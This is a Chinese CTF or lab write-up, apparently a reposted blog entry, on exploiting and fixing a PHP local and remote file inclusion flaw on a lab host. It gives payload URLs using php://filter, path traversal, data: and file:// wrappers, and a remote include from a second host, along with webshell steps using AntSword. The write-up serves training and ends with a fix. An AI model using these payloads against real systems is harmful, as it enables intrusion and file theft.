作者:蔡心怡湖人永蓉 | 来源:互联网 | 2023-10-15 18:17
DCN-文件包含漏洞攻防1.http:172.16.1.103index.php?pagephp:filterreadconvert.base64-encoderesourcefl
DCN-文件包含漏洞攻防

1.

http://172.16.1.103/index.php?page=php://filter/read=convert.base64-encode/resource=flag.php

这样子拿到的flag是错误的,题目要求的是C盘根目录下的flag
http://172.16.1.103/index.php?page=php://filter/read=convert.base64-encode/resource=../../../../../flag.txt

法二:
换一种协议,咱继续
http://172.16.1.103/index.php?page=data:text/plain,

这里学了一下g4爷爷的手法,直接套娃一下
http://172.16.1.103/index.php?page=data:text/plain,

直接上蚁剑



法三:
http://172.16.1.103/index.php?page=file://c:/flag.txt

师傅们应该还有更好更骚的姿势,本人人菜只想到这些了
2.
直接就是index.php文件,由于直接包含'page'传入的参数未经过滤,直接就include导致的

3.
法一:
在第一题法二的方法中我们已经拿到了shell,那我们基于这个shell上,连接蚁剑直接写马
法二:
直接在本地开放一个端口开放apache的服务,

远程包含这个文件
http://172.16.1.103/index.php?page=http://172.16.1.12/uuu/aaa.txt

4.
直接在蚁剑上执行命令

直接把设置php的函数为allow_url_include = off

即可